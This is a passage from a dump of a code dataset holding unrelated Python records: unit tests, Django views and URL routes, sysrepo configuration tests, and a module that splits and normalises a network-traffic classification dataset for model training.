get_start_stop_times(DictLookup(\"test_get_default_target\", card_dicts))\n )\n doc = xml.dom.getDOMImplementation().createDocument(None, None, None)\n str: bytes = nb(doc).toxml().encode()\n str = pretty_print(str)\n expected = b\"\"\"\n\n 2001-01-02T08:20:00Z\n 2001-01-02T08:20:01Z\n\n\"\"\"\n self.assertEqual(expected, str)\n\n def test_get_time_coordinates(self) -> None:\n db = create_bundle_db_in_memory()\n db.create_tables()\n fits_product_lidvid = \"urn:nasa:pds:hst_13012:data_acs_raw:jbz504eoq_raw::2.3\"\n os_filepath = path_to_testfile(\"jbz504eoq_raw.fits\")\n\n populate_database_from_fits_file(db, os_filepath, fits_product_lidvid)\n\n file_basename = basename(os_filepath)\n\n card_dicts = db.get_card_dictionaries(fits_product_lidvid, file_basename)\n\n nb = get_time_coordinates(\n get_start_stop_times(DictLookup(\"test_get_time_coordinates\", card_dicts))\n )\n doc = xml.dom.getDOMImplementation().createDocument(None, None, None)\n str: bytes = nb(doc).toxml().encode()\n str = pretty_print(str)\n\n expected = b\"\"\"\n\n 2012-09-27T20:23:28Z\n 2012-09-27T20:27:58Z\n\n\"\"\"\n self.assertEqual(expected, str)\n","sub_path":"pdart/labels/test_time_coordinates.py","file_name":"test_time_coordinates.py","file_ext":"py","file_size_in_byte":2236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"488974469","text":"from django.shortcuts import render\nfrom AppTwo.models import User\nfrom . import forms\n# Create your views here.\n\ndef home(request):\n h = {'Home_Page': ''}\n return render(request, 'home.html', h)\n\ndef user(request):\n form = forms.User()\n\n if request.method == 'POST':\n form = forms.User(request.POST)\n\n if form.is_valid():\n p = form.save()\n print('VALIDATION SUCCESS')\n return render(request, 'user.html', {'forms':form})","sub_path":"DJANGO SHIT/ProTwo/AppTwo/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"446505555","text":"from django.conf.urls import patterns, include, url\nfrom django.views.generic import TemplateView\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'Django_SCCOP.views.home', name='home'),\n # url(r'^blog/', include('blog.urls')),\n\n url(r'^admin/', include(admin.site.urls)),\n url(r'^about$', TemplateView.as_view(template_name='about.html'), name=\"about\"),\n\turl(r'^contact$', TemplateView.as_view(template_name='contact.html'), name=\"contact\"),\n)\n \nurlpatterns += patterns('sccop.views',\n\turl(r'^$', \"master\", name=\"home\"),\n\turl(r'^signup$', \"signup\", name=\"signup\"),\n\turl(r'^signin$', \"signin\", name=\"signin\"),\n\turl(r'^signout$', \"signout\", name=\"signout\"),\n\turl(r'^email/send$', \"email_send\", name=\"email_send\"),\n\turl(r'^dashboard$', \"dashboard\", name=\"dashboard\"),\n\turl(r'^log$', \"log\", name=\"log\"),\n)\n\nurlpatterns += patterns('sccop.api',\n\turl(r'^api/update/state/$', \"updateState\", name=\"update_state\"),\n\turl(r'^api/update/location/$', \"updateLocation\", name=\"update_location\"),\n)\n","sub_path":"Django_SCCOP/Django_SCCOP/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"518906457","text":"import unittest\nimport subprocess\nimport json\nimport os\nimport tempfile\n\n\nclass PdnsSysrepoBasicTest(unittest.TestCase):\n webserver_port = 8081\n api_key = \"foobar\"\n dbdir = os.environ.get('PDNS_DB_DIR', '/var/lib/pdns')\n\n default_config = {\n \"pdns-server:pdns-server\": {\n \"backend\": [\n {\n \"name\": \"backend1\",\n \"backendtype\": \"lmdb\",\n \"filename\": \"{}/pdns.lmdb\".format(dbdir)\n }\n ],\n \"listen-addresses\": [\n {\n \"name\": \"main IP\",\n \"ip-address\": \"127.0.0.1\",\n \"port\": \"5300\"\n }\n ],\n \"webserver\": {\n \"port\": webserver_port,\n \"api-key\": api_key\n },\n \"master\": False,\n \"slave\": True\n }\n }\n\n @classmethod\n def importConfig(cls, config: dict):\n p = subprocess.Popen(['sysrepocfg', '--format', 'json', '--import',\n '-m', 'pdns-server'], stdin=subprocess.PIPE)\n config_str = json.dumps(config)\n p.communicate(input=config_str.encode('utf-8'))\n\n @classmethod\n def editConfig(cls, config: dict):\n with tempfile.NamedTemporaryFile() as fp:\n fp.write(json.dumps(config).encode('utf-8'))\n fp.flush()\n subprocess.call(['sysrepocfg', '--format', 'json',\n '--edit={}'.format(fp.name),\n '-m', 'pdns-server'])\n\n @classmethod\n def getRunningDS(cls) -> dict:\n output = subprocess.run(['sysrepocfg', '-X', '--format=json',\n '--module=pdns-server',\n '--datastore=running'],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n print(output)\n return json.loads(output.stdout)\n\n @classmethod\n def getOperationalDS(cls) -> dict:\n output = subprocess.run(['sysrepocfg', '-X', '--format=json',\n '--module=pdns-server',\n '--datastore=operational'],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n print(output)\n return json.loads(output.stdout)\n\n def testImported(self):\n self.importConfig(self.default_config)\n data = self.getRunningDS()\n self.assertFalse(data[\"pdns-server:pdns-server\"][\"master\"])\n self.assertTrue(data[\"pdns-server:pdns-server\"][\"slave\"])\n self.assertEqual(data[\"pdns-server:pdns-server\"][\"webserver\"][\"api-key\"], self.api_key)\n self.assertEqual(data[\"pdns-server:pdns-server\"][\"webserver\"][\"port\"], self.webserver_port)\n self.assertEqual(len(data[\"pdns-server:pdns-server\"][\"listen-addresses\"]), 1)\n\n def testUpdateConfig(self):\n self.importConfig(self.default_config)\n self.editConfig({\n \"pdns-server:pdns-server\": {\n \"slave\": False\n }\n })\n data = self.getRunningDS()\n self.assertFalse(data[\"pdns-server:pdns-server\"][\"slave\"])\n\n def testAddZone(self):\n self.importConfig(self.default_config)\n zonename = \"foo.example.com.\"\n zonetype = \"native\"\n self.editConfig({\n \"pdns-server:zones\": [\n {\n \"name\": zonename,\n \"class\": \"IN\",\n \"zonetype\": zonetype\n }\n ]\n })\n\n data = self.getOperationalDS()\n self.assertEqual(len(data[\"pdns-server:zones-state\"][\"zones\"]), 1)\n self.assertEqual(\n data[\"pdns-server:zones-state\"][\"zones\"][0][\"name\"], zonename)\n self.assertEqual(\n data[\"pdns-server:zones-state\"][\"zones\"][0][\"zonetype\"],\n zonetype)\n\n def testChangeZoneType(self):\n self.importConfig(self.default_config)\n zonename = \"edit.example.com.\"\n zonetype = \"native\"\n self.editConfig({\n \"pdns-server:zones\": [\n {\n \"name\": zonename,\n \"class\": \"IN\",\n \"zonetype\": zonetype\n }\n ]\n })\n\n zonetype = \"master\"\n self.editConfig({\n \"pdns-server:zones\": [\n {\n \"name\": zonename,\n \"class\": \"IN\",\n \"zonetype\": zonetype\n }\n ]\n })\n\n data = self.getOperationalDS()\n self.assertEqual(len(data[\"pdns-server:zones-state\"][\"zones\"]), 1)\n self.assertEqual(\n data[\"pdns-server:zones-state\"][\"zones\"][0][\"name\"], zonename)\n self.assertEqual(\n data[\"pdns-server:zones-state\"][\"zones\"][0][\"zonetype\"],\n zonetype)\n","sub_path":"end-to-end-tests/test_01-initial.py","file_name":"test_01-initial.py","file_ext":"py","file_size_in_byte":4926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"237667415","text":"# Copyright 2018 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import absolute_import\n\nfrom kfp_component import BaseOp\n\nfrom kubernetes import client, config\nfrom kubernetes.client.rest import ApiException\n\nimport mock\nimport unittest\n\n@mock.patch('kubernetes.config.load_incluster_config')\n@mock.patch('kubernetes.client.CoreV1Api')\nclass BaseOpTest(unittest.TestCase):\n\n def test_execute_success(self, mock_k8s_client, mock_load_config):\n BaseOp().execute()\n\n @mock.patch.dict('os.environ', {\n 'KFP_POD_NAME': 'mock-pod-id'\n })\n def test__exit_gracefully_cancel(self, mock_k8s_client, mock_load_config):\n mock_pod = mock_k8s_client().read_namespaced_pod.return_value\n mock_pod.metadata.annotations = {\n 'workflows.argoproj.io/execution': '{\"deadline\": \"1970-01-01T00:00:00Z\"}'\n }\n\n op = BaseOp()\n op.on_cancelling = mock.MagicMock()\n\n op._exit_gracefully(0, 0)\n\n op.on_cancelling.assert_called_once()\n\n @mock.patch.dict('os.environ', {\n 'KFP_POD_NAME': 'mock-pod-id'\n })\n def test__exit_gracefully_no_cancel(self, mock_k8s_client, mock_load_config):\n mock_pod = mock_k8s_client().read_namespaced_pod.return_value\n mock_pod.metadata.annotations = {}\n\n op = BaseOp()\n op.on_cancelling = mock.MagicMock()\n\n op._exit_gracefully(0, 0)\n\n op.on_cancelling.assert_not_called()","sub_path":"component_sdk/python/tests/test_base_op.py","file_name":"test_base_op.py","file_ext":"py","file_size_in_byte":1944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"513842825","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('expenses', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='AdtExpenses',\n fields=[\n ('vExpenseId', models.AutoField(primary_key=True, serialize=False, db_column='vExpenseId')),\n ('vExpenseDescription', models.CharField(verbose_name='Descripcion', max_length=100)),\n ('vExpenseBalance', models.CharField(verbose_name='Balance', max_length=100)),\n ],\n ),\n migrations.DeleteModel(\n name='AdtUsers',\n ),\n ]\n","sub_path":"AdTominApps/expenses/migrations/0002_auto_20200329_0242.py","file_name":"0002_auto_20200329_0242.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"347761751","text":"# -*- coding:utf-8 -*-\nimport os\n\nif __name__ == '__main__':\n path = os.getcwd()\n sku_id = '10001'\n file = path + os.sep + 'test.txt'\n f = open(file, 'w')\n for i in range(1, 10):\n f.write(sku_id)\n f.write('\\t')\n f.write('2017-01-0{0}'.format(i))\n f.write('\\t')\n f.write('{0}'.format(i * 10))\n f.write('\\n')\n f.close()\n\nimport pandas as pd\n\npd.set_option('display.max_colwidth', 20)\npd.set_option('display.width', 150) # 150\n\ntrain = pd.read_csv(r'/Users/longguangbin/Downloads/train_20181125105600.csv', sep='|')\nflag = pd.read_csv(r'/Users/longguangbin/Downloads/flag_20181125105020.csv', sep='|')\ngranu = pd.read_csv(r'/Users/longguangbin/Downloads/granu_split_20181125175310.csv', sep='|')\n\ngranu['sku_id_s'] = granu['sku_id'].apply(lambda x: x.split('$')[1])\ngranu_s = granu.loc[:, ['sku_id_s', 'granu_split']].drop_duplicates()\ngranu_s.index = range(len(granu_s))\ngranu_s = granu_s.groupby(['sku_id_s']).count().reset_index().rename(columns={'granu_split': 'cnt'})\ngranu_m = granu.merge(granu_s, on=['sku_id_s'])\ncheck_df = granu_m[granu_m['cnt'] == 2]\ncheck_df.index = range(len(check_df))\ncheck_df.to_csv(r'/Users/longguangbin/Downloads/check_1.csv', index=False)\n\nflag = flag.drop_duplicates()\nflag.index = range(len(flag))\n\nflag_2 = flag.copy()\nflag_2.columns = ['a', 'b']\nflag_2['b'] = 'this is a long test' + flag_2['b']\n\ntrain.drop_duplicates()\n","sub_path":"longgb/Scripts/PyCode/scripts/test_01.py","file_name":"test_01.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"647270924","text":"# 02_return_something.py\n# \n# Functions sometimes need to return something. If you have a function\n# that requires information, then you will need to use arguments. \n\n\ndef main():\n\t\n\t# The print function needs an argument. THe argument is the string\n\t# you put in it.\n\tprint(\"I am an argument\")\n\t\n\t# This function returns stuff!\n\ta = subtract(10, 2)\n\tprint(a)\n\t\n\t# Try making your own function that returns something. \n\treturn 0\n\ndef subtract(a, b):\n\treturn a - b\nif __name__ == \"__main__\":\n\timport sys\n\tmain()\n\t\n\tsys.exit()\n\n\n","sub_path":"Lesson_03 How to function/03_return_something.py","file_name":"03_return_something.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"589523426","text":"from typing import List, Callable, Dict, Iterable, Tuple\nimport logging\nimport numpy as np\nimport csv\nfrom os import linesep, sep, system\nfrom collections import Counter\nfrom datetime import datetime\nfrom constants import PATH_TO_DATA, SPLIT_FILES, PATH_TO_CLN_DATA, PATH_TO_PRPD_DATA, PATH_TO_LOG_NORM_DATA, TRAIN, TEST,\\\n VALIDATION, FULL_TRAIN, CLASSES_MAPPING, PATH_TO_NORM_DATA, TRAIN_SIZE, FULL_TRAIN_SIZE,\\\n VALIDATION_SIZE, TEST_SIZE, SMALL_TRAIN_SIZE, ORIGINAL_FILES_WITH_SAME_HEADER\nfrom math import isinf, isnan, floor, ceil, log\nfrom functools import partial\n\n\nclass Transformer:\n '''\n Class Transformer provides transformations of dataset.\n It can drop columns, replace values or transform values.\n\n Before running it has to be configured and then it\n applies all defined transformations.\n '''\n\n _logger = logging.getLogger(\"Transformer\")\n\n def __init__(self, csv_sep: str = \",\"):\n self._replacement = []\n self._transformation = []\n self._drop = []\n self._csv_sep = csv_sep\n self._header = None\n\n def _extract_header_mapping(self, header: List[str]) -> Dict[str, int]:\n header_mapping = dict()\n\n for i, column in enumerate(header):\n if column not in self._drop:\n header_mapping.update([(column, i)])\n\n return header_mapping\n\n def _make_transformation(self, header_mapping: Dict[str, int], row: List[str]) -> List[str]:\n for col, trans in self._transformation:\n row[header_mapping[col]] = trans(row[header_mapping[col]])\n\n return row\n\n def _make_replacing(self, header_mapping: Dict[str, int], row: List[str]) -> List[str]:\n for col, rplc in self._replacement:\n row[header_mapping[col]] = rplc(row[header_mapping[col]])\n\n return row\n\n def _make_drop(self, header_mapping: Dict[str, int], row: List[str]) -> List[str]:\n return [row[i] for _, i in header_mapping.items()]\n\n def add_replacement(self, column: str, to_replace: str, replace_by: str) -> 'Transformer':\n '''\n Adds a replacement.\n\n Parameters\n ----------\n column : str\n A column where the replacement should be applied.\n to_replace : str\n A value that should be replaced.\n replace_by : str\n A value that should replace the original value.\n\n Returns\n -------\n self\n '''\n\n self._replacement.append((column, lambda value: replace_by if value == to_replace else value))\n\n return self\n\n def add_transformation(self, column: str, transformation: Callable[[str], str]) -> 'Transformer':\n '''\n Adds a transformation of column.\n\n Parameters\n ----------\n column : str\n A column to be transformed.\n transformation: Callable[[str], str]\n A transformation that gets an original value and returns a transformed value.\n\n Returns\n -------\n self\n '''\n\n self._transformation.append((column, transformation))\n\n return self\n\n def add_drop(self, column: str) -> 'Transformer':\n '''\n Adds a column that should be drop.\n\n Parameters\n ----------\n column : str\n A column to be drop.\n\n Returns\n -------\n self\n '''\n\n self._drop.append(column)\n\n return self\n\n def set_drop(self, columns: List[str]) -> 'Transformer':\n '''\n Sets columns that should be drop.\n\n Parameters\n ----------\n columns : List[str]\n Columns to be drop.\n\n Returns\n -------\n self\n '''\n\n self._drop = columns\n\n return self\n\n def transform(self, row: List[str], first_line: bool = False) -> List[str]:\n '''\n Transforms a single row.\n\n Parameters\n ----------\n row : List[str]\n A row to be transformed.\n first_line : bool\n If it is first line it extracts a header mapping that is\n required in the later transformation.\n\n Returns\n -------\n row : List[str]\n A transformed row.\n '''\n\n if first_line:\n self._header = self._extract_header_mapping(row)\n return [col for col, _ in self._header.items()]\n else:\n transformed = self._make_transformation(self._header, row)\n replaced = self._make_replacing(self._header, transformed)\n dropped = self._make_drop(self._header, replaced)\n\n return dropped\n\n def run(self, path_to_files: str, files: List[str], results_dir: str):\n '''\n Runs a transformation of the files and stores results into result_dir.\n\n Parameters\n ----------\n path_to_files : str\n A path to the directory with the CSV files.\n files : List[str]\n A list of CSV files to be transformed\n results_dir : str\n A directory where results should be stored.\n '''\n for file in files:\n self._logger.info(\"Processing file: {}\".format(file))\n with open(path_to_files + sep + file, \"r\") as in_file:\n with open(results_dir + sep + file, \"w\") as out_file:\n first_line = True\n for row in csv.reader(in_file, delimiter=self._csv_sep):\n row_to_write = self.transform(row, first_line)\n\n out_file.write(self._csv_sep.join(row_to_write))\n out_file.write(linesep)\n\n if first_line:\n first_line = False\n\n\ndef load_header() -> List[str]:\n '''\n Loads a header of files.\n\n Returns\n -------\n header : List[str]\n A header of files.\n '''\n\n with open(PATH_TO_DATA + sep + SPLIT_FILES[0], \"r\") as f:\n return f.readline()[:-1].split(\",\")\n\n\ndef split_files_with_more_headers(path_to_data: str, files: List[str]):\n '''\n Splits files with more headers that are contained in middle of files.\n\n Parameters\n ----------\n path_to_data : str\n A path to the directory with the CSV files.\n files : List[str]\n A list of files that should be split.\n '''\n\n for file in files:\n logging.info(\"Processing file: {}\".format(file))\n index = 0\n with open(path_to_data + sep + file, \"r\") as original:\n header = None\n split = None\n for line in original:\n if header is None:\n header = line\n split = open(path_to_data + sep + file.replace(\".csv\", \"_\" + str(index) + \".csv\"), \"w\")\n split.write(line)\n elif header == line:\n split.flush()\n split.close()\n index += 1\n split = open(path_to_data + sep + file.replace(\".csv\", \"_\" + str(index) + \".csv\"), \"w\")\n split.write(line)\n else:\n split.write(line)\n split.flush()\n split.close()\n\n\ndef get_number_of_classes_in_file(iterator: Iterable[str]) -> Counter:\n '''\n Gets a number of samples for each class in a file.\n\n Parameters\n ----------\n iterator : Iterable[str]\n An iterator over the file.\n\n Returns\n -------\n counter : Counter\n A counter with a number of samples for each class in a file.\n '''\n\n counter = Counter()\n\n first_line = True\n for row in iterator:\n if first_line:\n first_line = False\n else:\n counter.update([row[-1]])\n\n return counter\n\n\ndef write_row(out_file, row_to_write: List[str], csv_del: str = \",\"):\n '''\n Writes a row into a file.\n\n Parameters\n ----------\n out_file\n A file writer.\n row_to_write : List[str]\n A row that should be written into the file.\n csv_del : str\n A CSV delimiter. Default value is comma \",\".\n\n '''\n\n out_file.write(csv_del.join(row_to_write))\n out_file.write(linesep)\n\n\ndef split_train_test(path_to_data: str, files: List[str], path_to_results: str, transformer: Transformer = None,\n train_ratio: float = 0.8, val: bool = False):\n '''\n Splits files to a train set and test set or train set and validation set.\n The files are split based on the train_ratio. By default the train set\n consists of 80% data and test sets consists of 20% data. The classes\n ratio is preserved.\n\n Parameters\n ----------\n path_to_data : str\n A path to the directory with the CSV files.\n files : List[str]\n A list of CSV files to be split.\n path_to_results : str\n A path to the directory with results.\n transformer : Transformer\n A row transformer. It is optional, by default None.\n train_ratio : float\n A train ratio. It means that test ratio is 1 - train_ratio. By default 0.8.\n val : bool\n If it is train/validation split.\n '''\n\n train = path_to_results + sep + FULL_TRAIN if not val else path_to_results + sep + TRAIN\n test = path_to_results + sep + TEST if not val else path_to_results + sep + VALIDATION\n with open(train, \"w\") as train:\n with open(test, \"w\") as test:\n header_is_written = False\n for file in files:\n logging.info(\"Processing file: {}\".format(file))\n\n number_fo_classes = dict()\n with open(path_to_data + sep + file, \"r\") as in_file:\n logging.info(\"Checking classes counts.\")\n\n for cls, count in get_number_of_classes_in_file(csv.reader(in_file, delimiter=',')).items():\n number_fo_classes.update([(cls, int(count * train_ratio))])\n\n with open(path_to_data + sep + file, \"r\") as in_file:\n logging.info(\"Splitting into train and test.\")\n\n first_line = True\n\n if transformer is not None:\n for row in csv.reader(in_file, delimiter=','):\n if first_line:\n if not header_is_written:\n row_to_write = transformer.transform(row, first_line)\n write_row(train, row_to_write)\n write_row(test, row_to_write)\n\n header_is_written = True\n\n first_line = False\n else:\n row_to_write = transformer.transform(row, first_line)\n\n number_fo_classes[row_to_write[-1]] -= 1\n\n if number_fo_classes[row_to_write[-1]] > 0:\n write_row(train, row_to_write)\n else:\n write_row(test, row_to_write)\n else:\n for row in csv.reader(in_file, delimiter=','):\n if first_line:\n if not header_is_written:\n write_row(train, row)\n write_row(test, row)\n\n header_is_written = True\n\n first_line = False\n else:\n number_fo_classes[row[-1]] -= 1\n\n if number_fo_classes[row[-1]] > 0:\n write_row(train, row)\n else:\n write_row(test, row)\n\n\ndef check_time(path_to_data: str, files: List[str]):\n '''\n Checks if samples are sorted by timestamp.\n\n Parameters\n ----------\n path_to_data : str\n A path to the directory with CSV files.\n files : List[str]\n A list of CSV files that should be checked.\n '''\n\n for file in files:\n logging.info(\"Processing file: {}\".format(file))\n with open(path_to_data + sep + file, \"r\") as in_file:\n prev_time = 0\n first_line = True\n line_number = 0\n for row in csv.reader(in_file, delimiter=','):\n if first_line:\n first_line = False\n else:\n current_time = float(row[2])\n\n if current_time < prev_time:\n logging.error(\"Line {} - Current time {} is smaller than previous time {}\".format(line_number,\n current_time, prev_time))\n\n prev_time = current_time\n\n line_number += 1\n\n\ndef get_size(dataset: str) -> Tuple[int, int, int]:\n '''\n Computes a size of dataset.\n\n Parameters\n ----------\n dataset : str\n A path to the dataset.\n\n Returns\n -------\n size : Tuple[int, int, int]\n The first is number of samples, the second is number of features\n and the last is number of negative samples.\n '''\n\n negatives = 0\n size = 0\n features = 0\n i = 0\n\n logging.info(\"Getting shape of data.\")\n\n with open(dataset, \"r\") as in_data:\n first_line = True\n for row in csv.reader(in_data, delimiter=','):\n if first_line:\n features = len(row) - 1\n first_line = False\n else:\n if CLASSES_MAPPING[row[-1]] == 0:\n negatives += 1\n\n size += 1\n\n if i % 100000 == 0:\n logging.info(\"Row {}\".format(i))\n\n i += 1\n\n logging.info(\"X = ({}, {}), Y = {}, number of negative values = {}\".format(size, features, size, negatives))\n\n return size, features, negatives\n\n\ndef load_dataset_as_array(dataset: str, number_of_negatives: int = None) -> Tuple[np.ndarray, np.ndarray, int, int]:\n '''\n Loads a dataset numpy array. It is possible to control\n a number of negative samples.\n\n Parameters\n ----------\n dataset : str\n A path to the dataset.\n number_of_negatives : int\n A number of negative samples to be loaded.\n\n Returns\n -------\n result : Tuple[np.ndarray, np.ndarray, int, int]\n It contains in this order the X data (samples), the Y data (labels),\n the number of samples and the number of features.\n '''\n\n to_be_skipped = 0\n\n size, features, all_negatives = get_size(dataset)\n\n if number_of_negatives is not None:\n to_be_skipped = all_negatives - number_of_negatives\n else:\n number_of_negatives = all_negatives\n\n logging.info(\"Initializing numpy arrays.\")\n\n data = np.zeros((size - to_be_skipped, features), dtype=np.float)\n labels = np.zeros(size - to_be_skipped, dtype=np.int)\n\n logging.info(\"Starting to read the dataset.\")\n\n step = int(all_negatives / number_of_negatives)\n negatives = 0\n with open(dataset, \"r\") as in_data:\n first_line = True\n i = 0\n for row in csv.reader(in_data, delimiter=','):\n if first_line:\n first_line = False\n else:\n if CLASSES_MAPPING[row[-1]] == 0 and (negatives % step > 0 or negatives / step >= number_of_negatives):\n negatives += 1\n continue\n\n labels[i] = CLASSES_MAPPING[row[-1]]\n\n if CLASSES_MAPPING[row[-1]] == 0:\n negatives += 1\n\n for j in range(features):\n value = np.float(row[j])\n\n if not isinf(value) and not isnan(value):\n data[i][j] = value\n else:\n logging.error(\"Value on line {} in column {} is inf or nan after converting.\".format(i + 1, j + 1))\n\n if i % 100000 == 0:\n logging.info(\"Row {}\".format(i))\n\n i += 1\n\n logging.info(\"Dataset is converted into numpy array.\")\n\n return data, labels, size - to_be_skipped, features\n\n\ndef convert_to_npy(path_to_data: str, type: str, path_to_result: str, number_of_negatives: int = None):\n '''\n Converts a dataset into numpy array and then stores it as memory map.\n\n The path to the result is constructed as:\n path_to_data + sep + type + sep + \"X_{}.npy\".format(type)\n path_to_data + sep + type + sep + \"Y_{}.npy\".format(type)\n\n Parameters\n ----------\n path_to_data : str\n A path to the dataset.\n type : str\n A type of the dataset - train, test, validation...\n path_to_result : str\n A path to the directory with result.\n number_of_negatives : str\n A number of negative samples to be loaded.\n '''\n\n logging.info(\"Converting dataset into numpy array.\")\n\n X, Y, size, features = load_dataset_as_array(path_to_data + sep + type + \".csv\", number_of_negatives)\n\n logging.info(\"Storing X into memmap X.npy.\")\n\n X_memmap = np.memmap(path_to_result + sep + type + sep + \"X_{}.npy\".format(type), dtype=np.float32, mode=\"write\", shape=(size, features))\n X_memmap[:] = X[:]\n del X_memmap\n\n del X\n\n logging.info(\"Storing X is completed.\")\n logging.info(\"Storing Y into memmap Y.npy.\")\n\n Y_memmap = np.memmap(path_to_result + sep + type + sep + \"Y_{}.npy\".format(type), dtype=np.int, mode=\"write\", shape=size)\n Y_memmap[:] = Y[:]\n del Y_memmap\n\n del Y\n\n logging.info(\"Storing Y is completed.\")\n\n\ndef create_labels_for_each_class_separately(path_to_data: str, type: str, size: int):\n '''\n Converts multiclass classification into binary classification.\n It means that for each class it creates new labels that contains\n only {1, 0} where 1 is the current class and 0 is the rest.\n\n The path to the data is constructed as:\n path_to_data + sep + type + sep + \"Y_{}.npy\".format(type)\n\n The path to the result is constructed as:\n path_to_data + sep + type + sep + \"Y_{}_cls_{}.npy\".format(type, class)\n\n Parameters\n ----------\n path_to_data : str\n A path to the directory with data (e.g. normalized_data).\n type : str\n A type of the data (e.g. train or test).\n size : int\n A size of the dataset.\n '''\n\n for cls in range(0, 15):\n logging.info(\"Processing class: {}\".format(cls))\n y_old = np.memmap(path_to_data + sep + type + sep + \"Y_{}.npy\".format(type), dtype=np.int, mode=\"r\", shape=size)\n y_new = np.memmap(path_to_data + sep + type + sep + \"Y_{}_cls_{}.npy\".format(type, cls), dtype=np.int, mode=\"write\", shape=size)\n\n for i in range(size):\n if y_old[i] == cls:\n y_new[i] = 1\n else:\n y_new[i] = 0\n\n del y_new\n\n logging.info(\"Processing is completed.\")\n\n\ndef normalize(value: float, mean: float, std: float, digit: int = 4) -> float:\n '''\n Makes standardization with specific precision.\n\n Parameters\n ----------\n value : float\n A value to be normalized.\n mean : float\n A mean of values.\n std : float\n A standard deviation of values.\n digit : int\n A number of digits after floating point.\n\n Returns\n -------\n results : float\n A normalized value by standardization.\n '''\n\n return round((value - mean) / std, digit)\n\n\ndef load_normalizer() -> Transformer:\n '''\n Loads a normalizer that does standardization\n based on the train statistics.\n\n Returns\n -------\n normalizer : Transformer\n A loaded normalizer that does standardization.\n '''\n\n def normalize_str(value: str, mean: float, std: float) -> str:\n return str(normalize(float(value), mean, std))\n\n normalizer = Transformer()\n\n with open(\"statistics/train/train_results.csv\", mode=\"r\") as stat:\n column_stats = dict()\n first_row = True\n for row in csv.reader(stat, delimiter=\",\"):\n if first_row:\n first_row = False\n else:\n if row[1] == \"Mean\":\n column_stats.update([(\"Mean\", float(row[2]))])\n elif row[1] == \"StandardDeviation\":\n column_stats.update([(\"StandardDeviation\", float(row[2]))])\n\n if len(column_stats) == 2:\n normalizer.add_transformation(row[0], partial(normalize_str, mean=column_stats[\"Mean\"], std=column_stats[\"StandardDeviation\"]))\n column_stats = dict()\n\n return normalizer\n\n\ndef load_log_normalizer() -> Transformer:\n '''\n Loads a normalizer that takes logarithm of the data.\n\n Returns\n -------\n normalizer : Transformer\n A normalizer that takes logarithm of the data.\n '''\n\n def normalize_str(value: str):\n return str(log(float(value) + 1))\n\n normalizer = Transformer()\n\n skip = [1, 2, 3, 18, 20, 21, 22, 23, 25, 26, 32, 33, 34, 35, 45, 46, 47, 48, 49, 50, 51, 52, 57, 58, 59, 60, 61, 62,\n 67, 68, 79]\n\n for index, column in enumerate(load_header()):\n if index not in skip:\n normalizer.add_transformation(column, normalize_str)\n\n return normalizer\n\n\ndef select_samples(path_to_data: str, type: str, ratio: float, size: int, number_of_negatives: int = 1000000) -> int:\n '''\n Selects only part of the data based on specified ratio and number of negative samples.\n\n Parameters\n ----------\n path_to_data : str\n A path to the directory with data.\n type : str\n A type of data (e.g. train or test)\n ratio : float\n How many percent of data should be selected with preserving\n classes ratio if it is possible. At least 10 samples for\n each class is preserved.\n size : int\n A number of samples.\n number_of_negatives : int\n A number of negative samples that is loaded before selecting.\n\n Returns\n -------\n result : int\n A final number of samples.\n '''\n\n y_old = np.memmap(path_to_data + sep + type + sep + \"Y_{}.npy\".format(type), dtype=np.int, mode=\"r\", shape=size)\n\n logging.info(\"Counting classes.\")\n\n cls_counts = Counter()\n for cls in y_old:\n cls_counts.update([cls])\n\n cls_steps = dict()\n cntr_steps = dict()\n for cls in range(15):\n if cls == 0 and cls_counts[0] >= number_of_negatives:\n final_counts = ceil(number_of_negatives * ratio)\n else:\n final_counts = ceil(cls_counts[cls] * ratio)\n\n final_counts = 10 if final_counts < 10 else final_counts\n cls_steps[cls] = floor(cls_counts[cls] / final_counts)\n cls_counts[cls] = int(final_counts)\n cntr_steps[cls] = 0\n\n x_old = np.memmap(path_to_data + sep + type + sep + \"X_{}.npy\".format(type), dtype=np.float32, mode=\"r\", shape=(size, 70))\n\n new_size = sum(cls_counts.values())\n\n logging.info(\"New size of dataset is: {}\".format(new_size))\n logging.info(\"Ratio classes is (in order 0,1,2...): {}\".format(\",\".join([str(x) for _, x in cls_counts.items()])))\n\n y_new = np.memmap(path_to_data + sep + type + sep + \"Y_smaller_{}.npy\".format(type), dtype=np.int, mode=\"write\", shape=new_size)\n x_new = np.memmap(path_to_data + sep + type + sep + \"X_smaller_{}.npy\".format(type), dtype=np.float32, mode=\"write\", shape=(new_size, 70))\n\n logging.info(\"Creating dataset.\")\n\n i_new = 0\n for i in range(size):\n if cntr_steps[y_old[i]] % 